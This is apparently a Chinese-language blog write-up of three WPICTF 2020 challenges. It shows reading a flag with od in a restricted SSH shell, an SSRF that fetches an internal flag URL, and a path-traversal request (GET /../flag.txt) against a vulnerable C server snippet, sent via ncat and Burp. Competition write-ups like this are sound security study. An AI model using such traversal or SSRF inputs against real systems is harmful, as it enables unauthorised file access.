wpictf2020-wp

linux

Suckmore Shell 2.0

题目给出了ssh服务器连接上后export不能用了

Cat、tac、less等之类都能用后面发现od可以使用. 参考链接

1
2
3
4
5
6
7
8
9
10
11
12
sx@kali blog % ssh smsh@smsh.wpictf.xyz
Password:
> ls
flag

>
> od -c flag
0000000 e c h o " W P I { S U c k m o
0000020 r e S o f t w a r e N 3 3 d z 2
0000040 G 3 T i t T o g e T H E R } " \n
0000060
>

web

👉😎👉

这个题目给了一堆emoji

还给了一个网站

在attach中有存在ssrf

直接给出了flag, url填入http://storage.zoop/flag.txt即可

1
WPI{tH4nKs_z00m3r_jh0n50n}

dorsia2

题目描述如下

1
2
3
4
5
6
7
8
http://us-east-1.linodeobjects.com/wpictf-challenge-files/dorsia.webm The second card.

http://dorsia2.wpictf.xyz:31337/index.html or 31338 or 31339

Firefox doesnt like the page... try chromium.


Hint: flag in ~/flag.txt

在视频中第二张卡片的内容为

1
2
3
4
5
6
void main() {
char a[69]={0};
scanf("GET /%s", &a);
printf("HTTP 200\r\n\r\n");
fflush(stdout);
execlp("cat",a,a,0);}

使用chrome浏览器访问,提示文本为发送。

使用nc/burp suite获取flag.txt

1
2
3
4
5
ncat dorsia2.wpictf.xyz 31337 
GET /../flag.txt
HTTP 200

WPI{1_H4VE_2_return_SOME_VIDE0TAP3S}
1
2
3
4
5
6
7
8
GET /../flag.txt HTTP/1.1
Host: dorsia2.wpictf.xyz:31337
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
  • © 2019-2023 sunny250
  • Hexo Theme Ayer by shenyu
    • PV:
    • UV: